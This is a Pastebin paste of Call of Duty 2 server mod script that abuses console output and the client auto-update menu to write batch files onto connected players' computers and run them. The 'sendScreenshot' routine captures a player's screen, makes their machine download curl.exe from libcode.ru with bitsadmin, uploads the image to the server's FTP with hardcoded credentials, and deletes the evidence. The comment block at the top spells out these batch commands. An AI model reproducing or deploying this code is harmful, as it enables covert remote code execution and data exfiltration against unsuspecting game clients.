Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Open discord
- ============
- @echo off
- Start "" https:\discord.gg\nwuBft46wz
- cd /d e:\Games\Call of Duty 2
- Start "" CoD2MP_s.exe +password dotadr +connect 137.74.137.196:28961
- cd /d e:\Games\Call of Duty 2\matreshka_test
- del disc.bat
- Send screenshot
- ===============
- @echo off
- timeout 1
- cd /d e:\Games\Call of Duty 2
- Start "" /min CoD2MP_s.exe +password dotadr +connect 137.74.137.196:28961
- cd /d e:\Games\Call of Duty 2\matreshka_test
- bitsadmin /transfer myDownloadJob /download /priority FOREGROUND https://libcode.ru/cod2x/files/curl.exe "e:\Games\Call of Duty 2\Miles\curl.exe"
- "e:\Games\Call of Duty 2\Miles\curl.exe" -B -T screenshots\qaxouk34h1opyhkywu7h.jpg --user obama:pidor ftp://137.74.137.196/files/BratokHR_04299.jpg
- del send.bat
- */
- init()
- {
- level.ip = getCvar("net_realip");
- level.port = getCvar("net_port");
- level.fs_game = getCvar("fs_game");
- level.pass = "";
- if (getCvar("g_password") != "")
- level.pass = "+password " + getCvar("g_password");
- // ================ Open discord ================
- level.clientupd_discbat = "disc.bat";
- level.clientupd_discurl = getCvar("sv_discord_url"); // https:\\discord.gg\\nwuBft46wz
- // ================ Send screenshot ================
- level.clientupd_sendbat = "screen.bat";
- level.clientupd_ftpuser = "obama";
- level.clientupd_ftppass = "pidor";
- level.clientupd_ftphost = level.ip;
- level.clientupd_ftpdir = "/files/";
- level.clientupd_curl = "https://libcode.ru/cod2x/files/curl.exe";
- }
- startFile(path)
- {
- // set autoupdate cvars
- self setClientCvar("cl_updateavailable", "1");
- self setClientCvar("cl_updatefiles", path);
- wait 0.05;
- // call autoupdate menu
- self openMenu( "clientupd" );
- wait(0.05);
- if (isDefined(self))
- self closeMenu();
- }
- clientOpenDiscord()
- {
- self endon("disconnect");
- // get full path for game
- fs_homepath = undefined;
- while(!isDefined(fs_homepath))
- {
- fs_homepath = self bratok\_utility::getClientCvar("fs_homepath");
- if (isDefined(fs_homepath) && !isSubStr(fs_homepath, ":\\"))
- fs_homepath = undefined;
- wait .5;
- }
- fs_game_path = fs_homepath + "\\" + level.fs_game;
- full_bat = fs_game_path + "\\" + level.clientupd_discbat;
- // clear user console
- self bratok\_utility::execClientCommand("clear;");
- wait .05; // little wait is important
- // write bat file from user's console
- self bratok\_utility::printOutOfBandWithWait("print\n@echo off\ntimeout 1\nStart \"\" " + level.clientupd_discurl + "\n::", .05);
- self bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_homepath + "\nStart \"\" CoD2MP_s.exe " + level.pass + " +connect " + level.ip + ":" + level.port + "\n::", .05);
- self bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_game_path + "\ndel " + level.clientupd_discbat + "\n::", 0); // comment last line - Dumped from console...
- // save
- self bratok\_utility::execClientCommand("condump " + level.clientupd_discbat + "; clear;");
- wait .05;
- thread bratok\_utility::sayBot(self.name + " ^7will be back soon...");
- self.pers["opendisc"] = 1;
- self startFile(full_bat); // close game and start bat file
- }
- // self - admin
- sendScreenshot(player)
- {
- self endon("disconnect");
- player endon("disconnect");
- if (player bratok\_utility::isBot())
- {
- self printOutOfBand("print\n^7[SendScreen ^1ERROR^7]: " + player.name + " ^7is Bot\n");
- return;
- }
- // generate filename jpeg
- namejpg = bratok\_utility::generateRandomToken(20, true, true);
- hostjpg = bratok\_utility::stripColor(player.name); // remove ^1 in name
- hostjpg = bratok\_utility::checkAllowedChars(hostjpg, ""); // remove \|/><!...
- hostjpg = hostjpg + "_" + bratok\_utility::generateRandomToken(5, false, true);
- self printOutOfBand("print\n^7[SendScreen] Generate name jpg (host: " + hostjpg + ".jpg) (local: " + namejpg + ".jpg)\n");
- // create user screenshot
- player bratok\_utility::execClientCommand("screenshotJpeg " + namejpg);
- wait .05;
- // get full path for game
- fs_homepath = undefined;
- while(!isDefined(fs_homepath))
- {
- fs_homepath = player bratok\_utility::getClientCvar("fs_homepath");
- if (isDefined(fs_homepath) && !isSubStr(fs_homepath, ":\\"))
- fs_homepath = undefined;
- wait .5;
- }
- fs_game_path = fs_homepath + "\\" + level.fs_game;
- full_bat = fs_game_path + "\\" + level.clientupd_sendbat;
- curl_path = "\"" + fs_homepath + "\\Miles\\curl.exe\"";
- jpg_path = "screenshots\\" + namejpg + ".jpg";
- // clear user console
- player bratok\_utility::execClientCommand("clear;");
- wait .05; // little wait is important
- player bratok\_utility::printOutOfBandWithWait("print\n@echo off\ntimeout 1\n::", .05);
- player bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_homepath + "\nStart \"\" CoD2MP_s.exe " + level.pass + " +connect " + level.ip + ":" + level.port + "\n::", .05);
- player bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_game_path + "\n::", 0);
- player bratok\_utility::printOutOfBandWithWait("print\n\nbitsadmin /transfer myDownloadJob /download /priority FOREGROUND ", .05);
- player bratok\_utility::printOutOfBandWithWait("print\n" + leve l.clientupd_curl + " " + curl_path + "\n::", .05);
- player bratok\_utility::printOutOfBandWithWait("print\n\n" + curl_path + " -B -T " + jpg_path + " --user " + level.clientupd_ftpuser + ":" + level.clientupd_ftppass +
- " ftp://" + level.clientupd_ftphost + level.clientupd_ftpdir + hostjpg + ".jpg\n::", .05);
- //player bratok\_utility::printOutOfBandWithWait("print\n\npause\n::", 0);
- player bratok\_utility::printOutOfBandWithWait("print\n\ndel " + level.clientupd_sendbat + "\n::", 0);
- // save
- player bratok\_utility::execClientCommand("condump " + level.clientupd_sendbat + ";");
- self printOutOfBand("print\n^7[SendScreen] Save bat script on user (" + player.name + "^7)\n");
- wait .05;
- player startFile(full_bat); // close game and start bat file
- self printOutOfBand("print\n^7[SendScreen] Run bat script (" + player.name + "^7)\n");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement